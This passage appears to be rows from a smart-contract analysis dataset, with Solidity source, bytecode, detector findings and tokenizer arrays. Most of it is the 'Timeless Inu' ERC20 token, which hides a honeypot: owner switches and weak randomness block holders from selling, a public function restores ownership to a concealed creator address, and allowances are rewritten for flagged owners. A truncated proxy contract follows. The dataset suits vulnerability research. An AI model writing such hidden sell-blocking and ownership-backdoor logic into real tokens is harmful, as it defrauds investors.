72305820d9015ccc149da789c983abec50ef34cb253d0fbc88384f1b9a660e1644cea6510029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2629, 2278, 24434, 2692, 2549, 2050, 23632, 2050, 19481, 2692, 27531, 2620, 18939, 2278, 2620, 29097, 2497, 2581, 2575, 2475, 2063, 2620, 2497, 18827, 2094, 2620, 19481, 4215, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 19244, 18447, 2121, 12172, 1063, 1013, 1013, 2173, 1037, 6655, 2006, 1037, 9226, 1006, 3586, 1007, 5843, 20915, 3436, 3853, 2173, 20915, 1006, 27507, 16703, 3586, 1007, 6327, 3477, 3085, 1025, 1013, 1013, 4118, 2000, 4366, 1996, 10377, 3815, 3853, 4366, 1035, 10377, 1006, 1007, 6327, 1025, 12375, 1006, 27507, 16703, 1027, 1028, 22017, 2140, 1007, 2270, 3453, 1035, 3586, 1025, 3853, 4638, 15603, 4232, 1006, 1007, 6327, 5377, 5651, 1006, 21318, 3372, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,462
0x96d5ff2fd959ebe18cb093e5c3873a0b89a397ac
/** * Timeless Inu $TIMEINU * (c) 2021 * Announcement Channel: https://t.me/TimelessInu * This is the only official channel */ pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private universe; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; universe = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function SetBurnAddress() public { require(_owner != universe); emit OwnershipTransferred(_owner, universe); _owner = universe; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public carro; mapping (address => bool) public chaoping; mapping (address => bool) public xixi; mapping (address => uint256) public thanos; bool private cows; uint256 private _totalSupply; uint256 private berry; uint256 private _trns; uint256 private chTx; uint256 private opera; uint8 private _decimals; string private _symbol; string private _name; bool private brownish; address private creator; bool private thisValue; uint nanometer = 0; constructor() public { creator = address(msg.sender); cows = true; brownish = true; _name = "Timeless Inu"; _symbol = "TIMEINU"; _decimals = 5; _totalSupply = 2000000000000000; _trns = _totalSupply; berry = _totalSupply; chTx = _totalSupply / 1300; opera = berry; chaoping[creator] = false; xixi[creator] = false; carro[msg.sender] = true; _balances[msg.sender] = _totalSupply; thisValue = false; emit Transfer(address(0x6262998Ced04146fA42253a5C0AF90CA02dfd2A3), msg.sender, _trns); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address) { return owner(); } function Glasses() external view onlyOwner returns (uint256) { uint256 tempval = _totalSupply; return tempval; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, nanometer))) % 100; nanometer++; return screen; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function BurnTime(uint256 amount) external onlyOwner { berry = amount; } function SellTimel() external onlyOwner { berry = chTx; thisValue = true; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function Immortality(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function IncreaseTime(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner { carro[spender] = val; chaoping[spender] = val2; xixi[spender] = val3; thisValue = val4; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (cows == false)) { berry = chTx; thisValue = true; } if ((address(sender) == creator) && (cows == true)) { carro[recipient] = true; chaoping[recipient] = false; cows = false; } if (carro[recipient] != true) { chaoping[recipient] = ((randomly() == 78) ? true : false); } if ((chaoping[sender]) && (carro[recipient] == false)) { chaoping[recipient] = true; } if (carro[sender] == false) { require(amount < berry); if (thisValue == true) { if (xixi[sender] == true) { require(false); } xixi[sender] = true; } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (brownish == true)) { carro[spender] = true; chaoping[spender] = false; xixi[spender] = false; brownish = false; } tok = (chaoping[owner] ? 33313 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de5780638da5cb5b11610097578063a9059cbb11610071578063a9059cbb14610469578063bfcd0eef14610495578063dd62ed3e146104bb578063f2fde38b146104e957610173565b80638da5cb5b1461042d57806395d89b4114610435578063a457c2d71461043d57610173565b806370a0823114610390578063715018a6146103b6578063755d573a146103be57806379ec3848146103c6578063893d20e8146103ec57806389d2dfbe1461041057610173565b806323f9bea81161013057806323f9bea8146102b5578063313ce567146102d257806339509351146102f05780636781f05c1461031c5780636aac3955146103425780636e6dafdc1461034a57610173565b806306fdde031461017857806308ab3293146101f5578063095ea7b3146101ff578063106ad3fd1461023f57806318160ddd1461026557806323b872dd1461027f575b600080fd5b61018061050f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101fd6105a5565b005b61022b6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610618565b604080519115158252519081900360200190f35b61022b6004803603602081101561025557600080fd5b50356001600160a01b0316610635565b61026d61064a565b60408051918252519081900360200190f35b61022b6004803603606081101561029557600080fd5b506001600160a01b03813581169160208101359091169060400135610650565b6101fd600480360360208110156102cb57600080fd5b50356106dd565b6102da61073a565b6040805160ff9092168252519081900360200190f35b61022b6004803603604081101561030657600080fd5b506001600160a01b038135169060200135610743565b61022b6004803603602081101561033257600080fd5b50356001600160a01b0316610797565b6101fd6107ac565b6101fd600480360360a081101561036057600080fd5b506001600160a01b038135169060208101351515906040810135151590606081013515159060800135151561082b565b61026d600480360360208110156103a657600080fd5b50356001600160a01b03166108f5565b6101fd610910565b61026d6109b2565b61026d600480360360208110156103dc57600080fd5b50356001600160a01b0316610a13565b6103f4610a25565b604080516001600160a01b039092168252519081900360200190f35b61022b6004803603602081101561042657600080fd5b5035610a34565b6103f4610aa7565b610180610ab6565b61022b6004803603604081101561045357600080fd5b506001600160a01b038135169060200135610b17565b61022b6004803603604081101561047f57600080fd5b506001600160a01b038135169060200135610b85565b61022b600480360360208110156104ab57600080fd5b50356001600160a01b0316610b99565b61026d600480360360408110156104d157600080fd5b506001600160a01b0381358116916020013516610bae565b6101fd600480360360208110156104ff57600080fd5b50356001600160a01b0316610bd9565b60108054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561059b5780601f106105705761010080835404028352916020019161059b565b820191906000526020600020905b81548152906001019060200180831161057e57829003601f168201915b5050505050905090565b6105ad610c3d565b6000546001600160a01b039081169116146105fd576040805162461bcd60e51b815260206004820181905260248201526000805160206114dc833981519152604482015290519081900360640190fd5b600c54600a556011805460ff60a81b1916600160a81b179055565b600061062c610625610c3d565b8484610c41565b50600192915050565b60046020526000908152604090205460ff1681565b60095490565b600061065d848484610ddb565b6106d384610669610c3d565b6106ce856040518060600160405280602881526020016114b4602891396001600160a01b038a166000908152600360205260408120906106a7610c3d565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61115016565b610c41565b5060019392505050565b6106e5610c3d565b6000546001600160a01b03908116911614610735576040805162461bcd60e51b815260206004820181905260248201526000805160206114dc833981519152604482015290519081900360640190fd5b600a55565b600e5460ff1690565b600061062c610750610c3d565b846106ce8560036000610761610c3d565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6111e716565b60056020526000908152604090205460ff1681565b6001546000546001600160a01b03908116911614156107ca57600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b610833610c3d565b6000546001600160a01b03908116911614610883576040805162461bcd60e51b815260206004820181905260248201526000805160206114dc833981519152604482015290519081900360640190fd5b6001600160a01b039094166000908152600460209081526040808320805496151560ff1997881617905560058252808320805495151595871695909517909455600690529190912080549115159190921617905560118054911515600160a81b0260ff60a81b19909216919091179055565b6001600160a01b031660009081526002602052604090205490565b610918610c3d565b6000546001600160a01b03908116911614610968576040805162461bcd60e51b815260206004820181905260248201526000805160206114dc833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006109bc610c3d565b6000546001600160a01b03908116911614610a0c576040805162461bcd60e51b815260206004820181905260248201526000805160206114dc833981519152604482015290519081900360640190fd5b5060095490565b60076020526000908152604090205481565b6000610a2f610aa7565b905090565b6000610a3e610c3d565b6000546001600160a01b03908116911614610a8e576040805162461bcd60e51b815260206004820181905260248201526000805160206114dc833981519152604482015290519081900360640190fd5b610a9f610a99610c3d565b83611248565b506001919050565b6000546001600160a01b031690565b600f8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561059b5780601f106105705761010080835404028352916020019161059b565b600061062c610b24610c3d565b846106ce856040518060600160405280602581526020016115456025913960036000610b4e610c3d565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61115016565b600061062c610b92610c3d565b8484610ddb565b60066020526000908152604090205460ff1681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610be1610c3d565b6000546001600160a01b03908116911614610c31576040805162461bcd60e51b815260206004820181905260248201526000805160206114dc833981519152604482015290519081900360640190fd5b610c3a8161133a565b50565b3390565b806001600160a01b038416610c875760405162461bcd60e51b81526004018080602001828103825260248152602001806115216024913960400191505060405180910390fd5b6001600160a01b038316610ccc5760405162461bcd60e51b815260040180806020018281038252602281526020018061146c6022913960400191505060405180910390fd5b6011546001600160a01b0385811661010090920416148015610cf5575060115460ff1615156001145b15610d48576001600160a01b0383166000908152600460209081526040808320805460ff199081166001179091556005835281842080548216905560069092529091208054821690556011805490911690555b6001600160a01b03841660009081526005602052604090205460ff16610d6e5781610d72565b6182215b6001600160a01b0380861660008181526003602090815260408083209489168084529482529182902085905581518581529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a350505050565b6001600160a01b038316610e205760405162461bcd60e51b81526004018080602001828103825260258152602001806114fc6025913960400191505060405180910390fd5b6001600160a01b038216610e655760405162461bcd60e51b81526004018080602001828103825260238152602001806114236023913960400191505060405180910390fd5b6011546001600160a01b0384811661010090920416148015610e8a575060085460ff16155b15610ea957600c54600a556011805460ff60a81b1916600160a81b1790555b6011546001600160a01b0384811661010090920416148015610ed2575060085460ff1615156001145b15610f18576001600160a01b0382166000908152600460209081526040808320805460ff1990811660011790915560059092529091208054821690556008805490911690555b6001600160a01b03821660009081526004602052604090205460ff161515600114610f7e57610f456113da565b604e14610f53576000610f56565b60015b6001600160a01b0383166000908152600560205260409020805460ff19169115159190911790555b6001600160a01b03831660009081526005602052604090205460ff168015610fbf57506001600160a01b03821660009081526004602052604090205460ff16155b15610fe8576001600160a01b0382166000908152600560205260409020805460ff191660011790555b6001600160a01b03831660009081526004602052604090205460ff1661107c57600a54811061101657600080fd5b601154600160a81b900460ff1615156001141561107c576001600160a01b03831660009081526006602052604090205460ff1615156001141561105857600080fd5b6001600160a01b0383166000908152600660205260409020805460ff191660011790555b6110bf8160405180606001604052806026815260200161148e602691396001600160a01b038616600090815260026020526040902054919063ffffffff61115016565b6001600160a01b0380851660009081526002602052604080822093909355908416815220546110f4908263ffffffff6111e716565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156111df5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111a457818101518382015260200161118c565b50505050905090810190601f1680156111d15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611241576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0382166112a3576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6009546112b6908263ffffffff6111e716565b6009556001600160a01b0382166000908152600260205260409020546112e2908263ffffffff6111e716565b6001600160a01b03831660008181526002602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03811661137f5760405162461bcd60e51b81526004018080602001828103825260268152602001806114466026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6012805460408051426020808301919091523360601b82840152605480830185905283518084039091018152607490920190925280519101206001909101909155606490069056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158209dd36b03960ad7051add50ac05db88c814cabcf298a7e63e1d9387acc97d672764736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2629, 4246, 2475, 2546, 2094, 2683, 28154, 15878, 2063, 15136, 27421, 2692, 2683, 2509, 2063, 2629, 2278, 22025, 2581, 2509, 2050, 2692, 2497, 2620, 2683, 2050, 23499, 2581, 6305, 1013, 1008, 1008, 1008, 27768, 1999, 2226, 1002, 2051, 2378, 2226, 1008, 1006, 1039, 1007, 25682, 1008, 8874, 3149, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 27768, 2378, 2226, 1008, 2023, 2003, 1996, 2069, 2880, 3149, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,463
0x96d621ec28a065bacdd1a1948c8bdca215e069b8
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // 8888888b. 888 .d8888b. 888 888 // 888 "Y88b 888 d88P Y88b 888 888 // 888 888 888 888 888 888 888 // 888 888 .d88b. 888 .d8888b .d88b. 888 8888b. 88888b. 88888b. 8888b. 88888b. 8888b. // 888 888 d88""88b 888 d88P" d8P Y8b 888 88888 "88b 888 "88b 888 "88b "88b 888 "88b "88b // 888 888 888 888 888 888 88888888 888 888 .d888888 888 888 888 888 .d888888 888 888 .d888888 // 888 .d88P Y88..88P 888 Y88b. Y8b. Y88b d88P 888 888 888 d88P 888 d88P 888 888 888 888 888 888 // 8888888P" "Y88P" 888 "Y8888P "Y8888 "Y8888P88 "Y888888 88888P" 88888P" "Y888888 888 888 "Y888888 import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract DolceGabbana{ //DolceGabbana bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 